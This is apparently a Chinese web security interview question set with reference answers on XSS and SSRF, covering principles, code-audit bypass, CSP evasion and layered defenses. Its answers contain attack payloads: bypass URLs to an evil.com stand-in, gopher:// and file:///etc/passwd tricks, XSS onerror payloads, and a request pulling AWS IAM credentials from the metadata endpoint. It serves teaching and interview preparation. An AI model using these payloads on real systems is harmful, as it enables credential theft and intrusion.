安恒web安全春招实战
以下是一份涵盖XSS/SSRF漏洞场景复现与绕过技术的模拟面试题目及参考答案,分三个维度:基础原理与防御机制、实战场景复现和高级绕过思路。
《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
一、基础原理与防御机制
题目1:请阐述DOM型XSS与反射型XSS的核心区别,并说明如何通过HTTP响应头防御这两种漏洞
参考答案:
- 核心区别:
-
DOM型XSS:漏洞触发完全在客户端完成,攻击载荷不经过服务端处理(不会出现在HTTP响应body中)
-
反射型XSS:攻击载荷经服务端处理后返回到响应页面中
-
- 防御方案:
-
设置
Content-Security-Policy
头(如script-src 'self'
) -
添加
X-XSS-Protection: 1; mode=block
(兼容旧浏览器) -
使用
HttpOnly
标记保护Cookie -
对动态插入DOM的内容实施
textContent
替代innerHTML
-
题目2:SSRF漏洞的本质危害是什么?列举三种服务端可能存在的危险函数/场景
参考答案:
-
本质危害:利用服务端作为代理突破网络边界,访问/攻击内部系统或云元数据
- 危险场景:
-
文件读取类函数(如PHP的
file_get_contents()
) -
HTTP请求库(如Python的
requests.get()
未校验URL) -
XML解析(XXE引发的SSRF)
-
云服务元数据接口(如169.254.169.254)
-
二、实战场景复现
题目3:给定以下代码片段,请构造绕过方案:
<?php
$url = $_GET['url'];
if(preg_match('/^https?:\/\/(www\.)?example\.com\//i', $url)) {$content = file_get_contents($url);echo $content;
}
?>
参考答案:
- 绕过思路:
-
利用URL解析差异:
http://example.com@evil.com/payload
-
Unicode编码绕过:
http://examplе.com
(使用西里尔字母"е") -
DNS重绑定攻击:配置TTL=0的域名指向目标合法域名和攻击IP
-
HTTPS协议混淆:
https://example.com.evil.com
-
题目4:某站点的CSP策略如下,如何实现XSS利用?
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'nonce-abc123'
参考答案:
- 攻击方案:
-
Nonce爆破:如果nonce值可预测(如时间戳生成),构造匹配的script标签
-
注入含nonce属性的合法标签:
<script nonce="abc123">alert(1)</script>
-
利用unsafe-inline特性:直接构造内联事件处理器
<img src=x onerror=alert(1)>
-
三、高级绕过思路
题目5:如何绕过基于黑名单的SSRF防御(过滤127., 10., 192.168.*等)?
参考答案:
- 高级绕过技巧:
-
八进制/十六进制IP编码:
http://0177.0.0.1
→ 127.0.0.1 -
IPv6地址利用:
http://[::1]:80
-
域名重定向服务:使用短链服务或可控DNS解析
-
云服务特殊地址:
http://metadata.google.internal
-
非HTTP协议攻击:
gopher://
攻击Redis/MySQL
-
题目6:在严格CSP策略下(禁止unsafe-inline且使用nonce),如何实现XSS持久化?
参考答案:
- 高阶攻击路径:
-
AngularJS沙箱逃逸:在存在Angular框架的站点利用
{{constructor.constructor()}}
-
Service Worker劫持:通过注入脚本注册恶意Service Worker
-
DOM Clobbering:通过命名HTML元素污染全局变量
-
第三方库漏洞:利用jQuery插件或Chart.js等组件的已知漏洞
-
四、综合场景
题目7:某API端点存在SSRF且返回响应内容,如何利用该漏洞获取AWS EC2元数据?
参考答案:
POST /api/fetch HTTP/1.1
Host: victim.com
Content-Type: application/json{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
- 绕过技巧:
-
请求重定向:构造恶意服务器返回302跳转到元数据地址
-
DNS重绑定:使用rbndns.com等工具快速切换DNS解析
-
协议包装:
file:///etc/passwd
读取本地文件确认漏洞
-
五、防御进阶
题目8:设计多层SSRF防御体系时应考虑哪些关键点?
参考答案:
- 网络层:
-
出口防火墙限制内部系统访问
-
云环境使用安全组策略
-
- 应用层:
-
使用白名单域名校验
-
禁用危险协议(file://, gopher://, ftp://)
-
- 系统层:
-
限制请求库的跟随重定向功能
-
使用chroot环境运行服务
-
此套题目覆盖漏洞原理、代码审计、绕过技巧和防御体系设计,适用于中高级安全岗位面试。
建议在理解答案的基础上,配合搭建真实漏洞环境(如DVWA、SSRF Labs)进行实操验证。